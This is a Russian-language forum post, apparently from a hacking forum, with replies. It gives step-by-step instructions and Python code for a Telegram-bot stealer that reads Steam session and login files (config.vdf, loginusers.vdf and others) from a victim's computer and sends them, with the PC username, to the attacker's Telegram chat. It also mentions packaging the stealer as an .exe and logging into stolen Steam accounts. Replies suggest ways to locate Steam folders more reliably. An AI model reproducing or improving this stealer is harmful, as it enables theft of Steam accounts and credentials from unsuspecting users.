Для начала скачиваем и устанавливаем Python 3+ ТУТ Создадим своего бота Для начала мы должны создать нашего бота, в этом нам поможет@BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом. /start /newbot Code /start /newbot После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id. Ссылка: https://api.telegram.org/botТУТВАШТОКЕН/getUpdates С ботом мы разобрались, идем дальше. Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов. pip install --upgrade pip Code pip install --upgrade pip Устанавливаем библиотеку telebot pip install telebot Code pip install telebot После создаём файл name.py и открываем при помощи Notepad++ Начинаем кодить! Имортируем библиотеки: import os import telebot Code import os import telebot Теперь добавляем необходимые переменные: token = "ТУТВАШТОКЕНОТБОТА" Code token = "ТУТВАШТОКЕНОТБОТА" Переменная bot отвечает за бота bot = telebot.TeleBot(token) i=0 Code bot = telebot.TeleBot(token) i=0 Переменная username отвечает за Имя ПК (где был запущен *******) username = os.getlogin() Code username = os.getlogin() Теперь создаём переменные doc1, doc2, doc3, doc4: doc1 = open("C:/Program Files/Steam/config/config.vdf", 'rb') doc2 = open("C:/Program Files/Steam/config/loginusers.vdf", 'rb') doc3 = open("C:/Program Files/Steam/config/DialogConfig.vdf", 'rb') doc4 = open("C:/Program Files/Steam/config/fiterlist.vdf", 'rb') Code doc1 = open("C:/Program Files/Steam/config/config.vdf", 'rb') doc2 = open("C:/Program Files/Steam/config/loginusers.vdf", 'rb') doc3 = open("C:/Program Files/Steam/config/DialogConfig.vdf", 'rb') doc4 = open("C:/Program Files/Steam/config/fiterlist.vdf", 'rb') Отправляем сообщение с именем ПК: bot.send_message(ВАШ_CHATID, "Компьютер: " + username) Code bot.send_message(ВАШ_CHATID, "Компьютер: " + username) Отправляем файлы: bot.send_document(ВАШ_CHATID, doc1) bot.send_document(ВАШ_CHATID, doc2) bot.send_document(ВАШ_CHATID, doc3) bot.send_document(ВАШ_CHATID, doc4) Code bot.send_document(ВАШ_CHATID, doc1) bot.send_document(ВАШ_CHATID, doc2) bot.send_document(ВАШ_CHATID, doc3) bot.send_document(ВАШ_CHATID, doc4) На этом этап кодинга заканчивается. ВЕСЬ КОД С КОММЕНТАРИЯМИ МОЖНО СКАЧАТЬ ТУТ — ТЫК! Вид лога: Небольшой бонус: Как сделать из .py - .exe? Как зайти в стим через эти файлы? Если есть какие-то проблемы или вопросы можете спросить у меня в ЛС на форуме.
@fantik2, можно добавить примерно вот так: try: doc1 = open("C:/Program Files/Steam/config/config.vdf", 'rb') #и так с остальными файлами except: doc1 = open("D:/Steam/config/config.vdf", 'rb') #и так с остальными файлами Code try: doc1 = open("C:/Program Files/Steam/config/config.vdf", 'rb') #и так с остальными файлами except: doc1 = open("D:/Steam/config/config.vdf", 'rb') #и так с остальными файлами
exxxidie, Бред же. Ты не пропишешь все папки в которых может находится стим. Первое что приходит мне на ум - использовать os.walk(). Благодаря этому решению можно будет находить сразу все папки стим